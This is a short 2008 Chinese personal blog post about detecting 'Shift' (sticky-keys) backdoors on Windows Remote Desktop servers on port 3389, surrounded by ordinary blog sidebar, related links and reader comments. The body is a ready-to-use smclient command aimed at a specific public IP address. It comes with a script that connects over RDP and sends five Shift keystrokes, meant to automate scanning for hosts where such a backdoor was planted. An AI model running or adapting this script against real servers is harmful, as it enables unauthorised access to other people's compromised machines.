Holmesian Blog
  • 首页
  • 微博
  • 留言板
  • 一个罕见的3389后门

    post by Holmesian / 2008-9-23 2:17 Tuesday
    众所周知用于3389的SHIFT后门极少

    而且大部分SHIFT后门都加密

    所以手工一个一个尝试是挺傻的,写成自动扫描的话,还能让人忍受


    [quote]smclient -f:shift_backdoor.txt -s:125.91.15.254 -l:1 -v -d

    shift_backdoor.txt:
    job
    {
    connect("","","",1,1);
    sleep(2000);
    senddata("WM_KEYDOWN",16,2752513);
    senddata("WM_KEYUP",16,3223977985);
    senddata("WM_KEYDOWN",16,2752513);
    senddata("WM_KEYUP",16,3223977985);
    senddata("WM_KEYDOWN",16,2752513);
    senddata("WM_KEYUP",16,3223977985);
    senddata("WM_KEYDOWN",16,2752513);
    senddata("WM_KEYUP",16,3223977985);
    senddata("WM_KEYDOWN",16,2752513);
    senddata("WM_KEYUP",16,3223977985);
    sleep(2000);
    disconnect();
    }[/quote]
    标签: windows xp 3389 远程

    你可能还感兴趣:

    Win7沙盘Sandboxie运行程序出错的解决办法

    Windows7已验证的密钥key

    两个注册表键值

    让你的Windows系统盘保持苗条

    大战后的伤痕

    微软官方USB性能提升补丁

    « 感觉累了 | 隐藏你的文件--WinRAR的妙用»
    取消回复

    发表评论:

rss add mail
  • 日历

  • 搜索

  • 最新吐槽

    • Emily
      强大!
    • Holmesian
      @youstar:已经换好了~
    • youstar
      帮忙把友情链接更换一下,谢谢...
    • haizhen2020
      非常感谢!支持楼主!顶!!!...
    • 日新小胖
      @Holmesian:额,懂了。    我去关注...
    • Holmesian
      @KEEPER:关于南昌星空极速Netkeepe...
    • Holmesian
      @Henry:那需要再看看是提示什么...
    • Holmesian
      @夏涛博客:这货不是柯南,这货...
    • Holmesian
      @日新小胖:因为平时不怎么又时...
    • Holmesian
      @www:关于南昌星空极速Netkeeper25...
  • 分类

    • 生活随笔(169) 订阅本分类
    • 日积月累(102) 订阅本分类
    • 资源共享(56) 订阅本分类
    • 工作相关(11) 订阅本分类
    • FreeBSD(45) 订阅本分类
    • Ubuntu(46) 订阅本分类
    • Nginx(9) 订阅本分类
    • Apache(2) 订阅本分类
    • Python(8) 订阅本分类
    • PHP(9) 订阅本分类
    • Phone(43) 订阅本分类
  • 链接

    • LIGHT Weblog
    • youstar
    • 久酷博客
    • Creative Power
    • 排头兵 @ Talk follow
    • hemon
    • 锦记
    • My Happy Garden
    • 野兔窝
    • YY_Crazy
    • Cyrec’s Blog
  • 随便看看

    • 大战后的伤痕
    • 暗藏于手机的十大秘密
    • 学会讲道理
    • 细说破解星空极速netkeeper共享宽带
    • 高价关键字
    • 完美解决FreeBSD下日志轮转问题
    • 百度被黑过程-百度被黑情况
    • Ubuntu10.04下chromium无法输入内容
    • 转向MOTO E6
    • NvCpl.dll,NvStartup发生意外
  • AD

Holmesian Blog | Powered byemlog | 赣ICP备10006010号 sitemap

© 1998 - 2011 All Rights Reserved